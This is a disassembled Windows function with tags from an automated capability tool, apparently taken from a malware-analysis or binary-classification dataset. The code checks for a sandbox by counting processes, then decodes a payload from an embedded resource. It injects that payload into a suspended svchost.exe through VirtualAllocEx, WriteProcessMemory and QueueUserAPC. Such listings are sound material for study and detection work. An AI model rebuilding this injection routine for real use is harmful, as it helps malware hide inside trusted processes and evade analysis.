Function at 0x140001af0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate processes
Extract resource via kernel32 functions
Inject apc
Resume thread
Use process replacement

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x330
mov rax, qword [0x14003c090]
xor rax, rsp
mov qword [rsp + 0x320], rax
mov ecx, 0x78
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001da8
xor edx, edx
mov dword [rsp + 0xe0], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0xe4]
call fcn.140007b50
xor r15d, r15d
lea rdx, [rsp + 0xe0]
mov rcx, rdi
mov ebx, r15d
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001da8
lea rdx, [rsp + 0xe0]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001b70
cmp ebx, 0x28
jle 0x140001da8
mov qword [rsp + 0x350], rbp
lea r8d, [rax + 0xa]
mov qword [rsp + 0x358], rsi
mov edx, 0x6d5
xor ecx, ecx
mov qword [rsp + 0x360], r14
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x140001bce
mov r14d, dword [rsp + 0x50]
mov rsi, r15
jmp 0x140001c5f
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
test eax, eax
jne 0x140001be5
mov rsi, r15
jmp 0x140001c5f
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140001bfa
mov rsi, r15
jmp 0x140001c5f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
jne 0x140001c10
mov rsi, r15
jmp 0x140001c5f
shr r14d, 1
mov ecx, r14d
mov ebp, r14d
call fcn.140011200
mov rsi, rax
test rax, rax
jne 0x140001c2b
mov rsi, r15
jmp 0x140001c5f
mov rbx, r15
test r14d, r14d
je 0x140001c5f
nop dword [rax]
nop word [rax + rax]
lea r8, [rbx + rsi]
mov rcx, rdi
lea rdx, [0x140037f38]
call fcn.140001130
add rdi, 2
inc rbx
cmp rbx, rbp
jb 0x140001c40
lea eax, [r14 - 0x30]
mov r9, rsi
lea r8, [rsi + 0x30]
mov dword [rsp + 0x20], eax
mov rcx, rsi
call fcn.140001190
xorps xmm0, xmm0
lea rcx, str.C:WindowsSystem32_svchost.exe
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0xd0], rax
xor r8d, r8d
mov qword [rsp + 0x68], rax
xor edx, edx
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rbp, qword [rsp + 0x58]
mov r9d, 0x1000
mov rdi, qword [rsp + 0x60]
mov rcx, rbp
mov r8, r14
mov dword [rsp + 0x20], 0x40
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x140001d6d
mov r9, r14
mov qword [rsp + 0x20], r15
mov r8, rsi
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140002000
mov r14, qword [rsp + 0x360]
xor eax, eax
mov rsi, qword [rsp + 0x358]
mov rbp, qword [rsp + 0x350]
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.140005aa0
add rsp, 0x330
pop r15
pop rdi
pop rbx
ret
mov ecx, 1
call fcn.14000ba24
int3